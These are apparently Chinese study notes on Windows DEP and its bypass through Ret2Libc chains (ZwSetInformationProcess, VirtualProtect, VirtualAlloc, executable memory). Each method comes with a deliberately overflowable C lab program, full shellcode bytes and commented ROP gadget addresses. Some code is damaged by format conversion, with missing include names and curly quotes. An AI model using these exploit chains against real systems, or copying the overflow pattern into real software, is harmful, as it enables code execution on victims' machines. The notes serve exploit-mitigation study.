12.1 DEP 机制的保护原理

  • DEP 的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入 shellcode 时,程序会尝试在数据页面上执行指令,此时 CPU 就会抛出异常,而不是去执行恶意指令。

image-20210418162524849.png

12.3 利用 Ret2Libc 挑战 DEP

  • 让程序跳转到一个已经存在的系统函数中,因为已经存在的系统函数必然存在于可执行页上,所以此时 DEP 是不会拦截。也就是说,为 shellcode 中的每条指令都在代码区找到一条替代指令,就可以完成 exploit想要的功能了。这种思想下有三种方法:

    • 通过跳转到 ZwSetInformationProcess 函数将 DEP 关闭后再转入 shellcode 执行。
    • 通过跳转到 VirtualProtect 函数来将 shellcode 所在内存页设置为可执行状态,然后再转入 shellcode 执行。
    • 通过跳转到 VIrtualAlloc 函数开辟一段具有执行权限的内存空间,然后将 shellcode 复制到这段内存中执行。

      12.3.1 Ret2Libc 实战之利用 ZwSetInformationProcess

  • 思路是调用ZwSetInformationProcess函数把DEP关闭,但是ZwSetInformationProcess 的参数中包含着0x00这样的截断字符串,所以当字符串复制时会被截断。

  • 所以通过系统中其他地方会关闭DEP的调用
    • 当 DLL 受 SafeDisc 版权保护系统保护时。
    • 当 DLL 包含有.aspcak、.pcle、.sforce 等字节时。
    • Windows V ista 下面当 DLL 包含在注册表“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions”键下边标识出不需要启动 DEP 的模块时。
  • 以 SafeDisc 为例子:

image-20210419095728225.png

  • 该攻击方法的思路就是通过修改0x7C93CD24处的AL寄存器的值为1,然后跳到0x7C93CD24下面去执行关闭DEP的代码,DEP关闭后就能够在栈里执行我们的shellcode了。
  • 实验代码: ```c // GS_Virtual.cpp : 定义控制台应用程序的入口点。 //

include

include

include

include

char shellcode[]= “\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C” “\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53” “\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B” “\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95” “\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59” “\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A” “\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75” “\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03” “\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB” “\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50” “\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90” “\x52\xE2\x92\x7C”//MOV EAX,1 RETN地址 “\x85\x8B\x1D\x5D”//修正EBP “\x19\x4A\x97\x7C”//增大ESP “\xB4\xC1\xC5\x7D”//jmp esp “\x24\xCD\x93\x7C”//关闭DEP代码的起始位置 ; 关闭DEP返回的指令是retn 4,而返回时,栈顶是jmp esp指令,所并且retn到jmp esp之后,esp+4指向了回跳指令,所以能够通过长跳转跳到shellcode的起始位置。 “\xE9\x33\xFF\xFF”//回跳指令,通过jmp esp指令跳到这里,然后再跳到shellcode的起始位置。 “\xFF\x90\x90\x90” ; void test() { char tt[176]; strcpy(tt,shellcode); } int main() { HINSTANCE hInst = LoadLibrary(“shell32.dll”); char temp[200]; __asm int 3; test(); return 0; }

  1. - 代码的思路:<br />(1)为了更直观地反映绕过 DEP 的过程,我们在本次实验中不启用 GS SafeSEH。<br />(2)函数 test 存在一个典型的溢出,通过向 str 复制超长字符串造成 str 溢出,进而覆盖函数返回地址。<br />(3)将函数的返回地址覆盖为类似 MOV AL,1 retn的指令,在将AL1 后转入0x7C93CD24关闭 DEP。<br />(4DEP 关闭后 shellcode 就可以正常执行了。
  2. - 修正EBP:是因为如果直接返回到关闭DEP的函数,在执行关闭DEP函数的代码时,会向EBP-4的位置写入数据,而我们覆盖将EBP全部填写为了90,所以会出现指针错误。
  3. - 增大ESP:因为修正EBP之后ESP相对于EBP在高地址,所以当调用关闭DEP函数的代码时,如果有进行压栈的操作,会把关闭EBP函数所使用的参数(EBP-4)的位置给冲刷掉。如果减小ESP会有可能破坏到我们的shellcode,所以增大ESP
  4. - jmp esp指令和回跳指令:jmp esp作用是让程序转入堆栈执行。关闭DEP函数的返回指令是retn 4,而返回时,栈顶是jmp esp指令,所并且retnjmp esp之后,esp+4指向了回跳指令,所以能够通过长跳转跳到shellcode的起始位置。
  5. - 关键技术点:
  6. - 修正EBP的手段1:观察执行完mov eax,1后的寄存器,找到可以存放可以写入的地址的寄存器(esp),然后使用(push esppop ebpretn)指令序列,修改ebp的值为该寄存器的值。由于当test()函数返回时,会执行堆栈平衡操作,所以如果直接将 ESP 的值赋给 EBP 返回后,ESP 相对 EBP 位于高址位置,当有入栈操作时 EBP-4 处的值可能会被冲刷掉。所以后续需要修改esp
  7. - 修正ESI寄存器的手段2:先使用pop eax retnpop esi retn指令的地址放入eax中,然后执行push esp jmp eax指令,就可以把exp寄存器的值放入esi寄存器。
  8. <a name="rFHP8"></a>
  9. ### 12.3.2 Ret2Libc 实战之利用 VirtualProtect
  10. - 思路是使用VirtualProtect函数(能够设置内存页的属性)将shellcode处的代码设置为可执行,进而执行我们的shellcode得以执行。
  11. ![image-20210512210215632.png](https://cdn.nlark.com/yuque/0/2021/png/2701130/1620869137203-bed72d4d-b9db-44f9-9cf6-ab927111ed1f.png#align=left&display=inline&height=333&id=u3c78e3e6&margin=%5Bobject%20Object%5D&name=image-20210512210215632.png&originHeight=333&originWidth=373&size=44746&status=done&style=none&width=373)
  12. - 实验代码:
  13. ```c
  14. // GS_Virtual.cpp : 定义控制台应用程序的入口点。
  15. //
  16. #include <stdlib.h>
  17. #include <string.h>
  18. #include <stdio.h>
  19. #include <windows.h>
  20. char shellcode[]=
  21. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  22. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  23. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  24. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  25. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  26. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  27. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  28. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  29. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  30. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  31. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  32. "\x90\x90\x90\x90"
  33. "\x8A\x17\x84\x7C"//pop eax retn
  34. "\x0A\x1A\xBF\x7C"//pop esi;pop ebx;pop edi;retn
  35. "\xBA\xD9\xBB\x7C"//修正EBP push esp;pop ebp;retn 4
  36. "\x8B\x17\x84\x7C"//RETN
  37. "\x90\x90\x90\x90"
  38. "\xBF\x7D\xC9\x77"//push esp jmp eax push esp设置要修改属性内存的地址(ebp+8位置的参数),因为此时eax指向栈中的一个位置,然后执行eax中地址指向的pop pop pop retn设置更改内存的属性。
  39. "\xFF\x00\x00\x00"//要修改内存的大小
  40. "\x40\x00\x00\x00"//可读可写可执行属性代码
  41. "\xBF\x7D\xC9\x77"//push esp jmp eax
  42. "\x90\x90\x90\x90"
  43. "\x90\x90\x90\x90"
  44. "\xE8\x1F\x80\x7C"//修改内存属性
  45. "\x90\x90\x90\x90"
  46. "\xA4\xDE\xA2\x7C"//jmp esp
  47. "\x90\x90\x90\x90"
  48. "\x90\x90\x90\x90"
  49. "\x90\x90\x90\x90"
  50. "\x90\x90\x90\x90"
  51. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
  52. "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
  53. "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
  54. "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
  55. "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
  56. "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
  57. "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
  58. "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
  59. "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
  60. "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
  61. "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
  62. ;
  63. void test()
  64. {
  65. char tt[176];
  66. memcpy(tt,shellcode,420);
  67. }
  68. int main()
  69. {
  70. HINSTANCE hInst = LoadLibrary("shell32.dll");
  71. char temp[200];
  72. test();
  73. return 0;
  74. }
  • 代码思路:
    (1)为了更直观的反映绕过 DEP 的过程,我们在本次实验中不启用 GS 和 SafeSEH。
    (2)函数 test 存在一个典型的溢出,通过向 str 复制超长字符串造成 str 溢出,进而覆盖函数返回地址。
    (3)覆盖掉函数返回地址后,通过 Ret2Libc 技术,利用 memcpy 函数将 shellcode 复制到内存中的可读可写可执行区域。
    (4)最后在这段可执行的内存空间中执行 shellcode,实现 DEP 的绕过。
  • 关键技术点:

    • 通过将pop esi; pop ebx; pop edi; retn指令序列的地址存放到eax中,后续使用jmp eax来移动esp,进而来填充VirtualProtect函数的参数。
    • 使用一条retn指令将esp减4并且程序的执行流仍然在栈中,以此来设置VirtualProtect的第一个ebp+8位置的参数。

      12.3.3 Ret2Libc 实战之利用 VirtualAlloc

  • 原理:当程序需要一段可执行内存时,可以通过 kernel32.dll 中的 VirtualAlloc 函数来申请一段具有可 执行属性的内存。我们就可以将 Ret2Libc 的第一跳设置为 VirtualAlloc 函数地址,然后将 shellcode 复制到申请的内存空间里,以绕过 DEP 的限制。

  • 实验代码: ```c // GS_Virtual.cpp : 定义控制台应用程序的入口点。 //

include

include

include

include

char shellcode[]= “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90” “\xBA\xD9\xBB\x7C”//修正EBP retn 4 “\xBC\x45\x82\x7C”//申请空间 “\x90\x90\x90\x90” “\xFF\xFF\xFF\xFF”//-1当前进程 “\x00\x00\x03\x00”//申请空间起始地址 “\xFF\x00\x00\x00”//申请空间大小 “\x00\x10\x00\x00”//申请类型 “\x40\x00\x00\x00”//申请空间访问类型 “\x90\x90\x90\x90” “\x8A\x17\x84\x7C”//pop eax retn “\x90\x90\x90\x90” “\x90\x90\x90\x90” “\x90\x90\x90\x90” “\x90\x90\x90\x90” “\x0B\x1A\xBF\x7C”//pop pop retn “\xBA\xD9\xBB\x7C”//修正EBP retn4 “\x5F\x78\xA6\x7C”//pop retn
“\x00\x00\x03\x00”//可执行内存空间地址,转入执行用 <-执行完memcpy后返回到shellcode执行 “\x00\x00\x03\x00”//可执行内存空间地址,拷贝用 <-memcpy的目的地址 “\xBF\x7D\xC9\x77”//push esp jmp eax && 原始shellcode起始地址 <-memcpy的源地址地址,使用push esp动态来获取shellcode的地址 “\xFF\x00\x00\x00”//shellcode长度 <-memcpy复制的长度 “\xAC\xAF\x94\x7C”//memcpy “\x00\x00\x03\x00”//一个可以读地址 “\x00\x00\x03\x00”//一个可以读地址 “\x00\x90\x90\x94” “\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C” “\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53” “\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B” “\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95” “\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59” “\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A” “\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75” “\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03” “\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB” “\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50” “\x53\xFF\x57\xFC\x53\xFF\x57\xF8” ; void test() { char tt[176]; memcpy(tt,shellcode,450); } int main() { HINSTANCE hInst = LoadLibrary(“shell32.dll”); char temp[200]; test(); return 0; }

  1. - 代码利用思路:
  2. 1)为了更直观地反映绕过 DEP 的过程,我们在本次实验中不启用 GS SafeSEH。<br />(2)函数 test 存在一个典型的溢出,通过向 str 复制超长字符串造成 str 溢出,进而覆盖函数返回地址。<br />(3)覆盖掉函数返回地址后,通过 Ret2Libc 技术,利用 VirtualAlloc 函数申请一段具有执行权限的内存。<br />(4)通过 memcpy 函数将 shellcode 复制到 VirtualAlloc 函数申请的可执行内存空间中。<br />(5)最后在这段可执行的内存空间中执行 shellcode,实现 DEP的绕过。
  3. <a name="PEL29"></a>
  4. ## 12.4 利用可执行内存挑战 DEP
  5. - 原理:将shellcode复制到可以执行的内存空间中,并劫持控制流指向我们的shellcode
  6. - 实验代码:
  7. ```c
  8. // GS_Virtual.cpp : 定义控制台应用程序的入口点。
  9. //
  10. #include <stdlib.h>
  11. #include <string.h>
  12. #include <stdio.h>
  13. #include <windows.h>
  14. char shellcode[]=
  15. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  16. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  17. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  18. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  19. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  20. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  21. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  22. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  23. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  24. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  25. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  26. "\x90\x90\x90\x90"
  27. "\x8A\x17\x84\x7C"//pop eax retn
  28. "\x0B\x1A\xBF\x7C"//pop pop retn
  29. "\xBA\xD9\xBB\x7C"//修正EBP retn 4
  30. "\x5F\x78\xA6\x7C"//pop retn
  31. "\x08\x00\x14\x00"//弹出对机器码在可执行空间的起始地址,转入执行用
  32. "\x00\x00\x14\x00"//可执行内存空间地址,拷贝用
  33. "\xBF\x7D\xC9\x77"//push esp jmp eax && 原始shellcode起始地址
  34. "\xFF\x00\x00\x00"//shellcode长度
  35. "\xAC\xAF\x94\x7C"//memcpy
  36. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
  37. "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
  38. "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
  39. "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
  40. "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
  41. "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
  42. "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
  43. "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
  44. "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
  45. "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
  46. "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
  47. ;
  48. void test()
  49. {
  50. char tt[176];
  51. memcpy(tt,shellcode,450);
  52. }
  53. int main()
  54. {
  55. HINSTANCE hInst = LoadLibrary("shell32.dll");
  56. char temp[200];
  57. test();
  58. return 0;
  59. }
  • 代码的利用思路:

(1)为了更直观的反映绕过 DEP 的过程,我们在本次实验中不启用 GS 和 SafeSEH。
(2)函数 test 存在一个典型的溢出,通过向 str 复制超长字符串造成 str 溢出,进而覆盖函数返回地址。
(3)覆盖掉函数返回地址后,通过 Ret2Libc 技术,利用 memcpy 函数将 shellcode 复制到内存中的可读可写可执行区域。
(4)最后在这段可执行的内存空间中执行 shellcode,实现 DEP 的绕过。